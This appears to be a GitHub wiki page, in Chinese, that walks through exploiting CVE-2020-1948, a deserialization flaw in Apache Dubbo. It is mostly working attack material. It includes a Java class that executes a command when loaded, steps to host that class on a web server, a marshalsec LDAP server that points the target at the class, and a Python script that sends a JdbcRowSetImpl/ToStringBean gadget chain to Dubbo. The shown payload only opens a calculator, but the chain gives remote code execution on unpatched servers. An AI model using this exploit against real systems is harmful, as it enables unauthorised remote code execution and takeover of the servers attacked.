Skip to content

Apache Dubbo CVE_2020_1948 Deserialization Vulnerability

MO0n edited this page Aug 11, 2020 · 1 revision

Apache Dubbo CVE-2020-1948 反序列化漏洞验证方法

构造 PoC

POC 代码:

## exp.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class exp implements ObjectFactory {
    // POC open calc
    public exp(){
        try {
            java.lang.Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC 编译

javac exp.java

启动 Dubbo 试验环境

假设 IP 为 1.1.1.1,

java -jar dubbo.jar

启动后监听 12345 端口。

启动一个静态网站

此站点用于被测目标下载利用代码用。

假设IP为1.1.1.5,网站位于 80端口, 将 exp.class 放到网站根目录,测试可访问:

http://1.1.1.5/exp.class

确保 Dubbo 测试环境所在主机能够访问到此 URL。

启动 LDAP 代理服务

假设 LDAP 代理服务启动在 80 端口。位于主机 1.1.1.6(注:也可以部署在1.1.1.5上,不过需要修改监听端口,避免跟静态网站端口冲突)。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://1.1.1.5/#exp 80

marshalsec 下载:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

构建测试脚本

此脚本运行需要 Python2/3 环境。

安装依赖包:

pip install dubbo-py

脚本内容如下:

# poc.py
# -*- coding: utf-8 -*-

import sys

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()

client = DubboClient(sys.argv[1], int(sys.argv[2]))

JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')

测试脚本运行

python poc.py 1.1.1.1 12345 ldap://1.1.1.6:80/exp

除了通过返回信息来判断外,观察 LDAP 代理是否出现请求转发也是判断POC利用是否成功的重要依据:

# LDAP Refer Server Output
Send LDAP reference result for exp redirecting to http://1.1.1.5/exp.class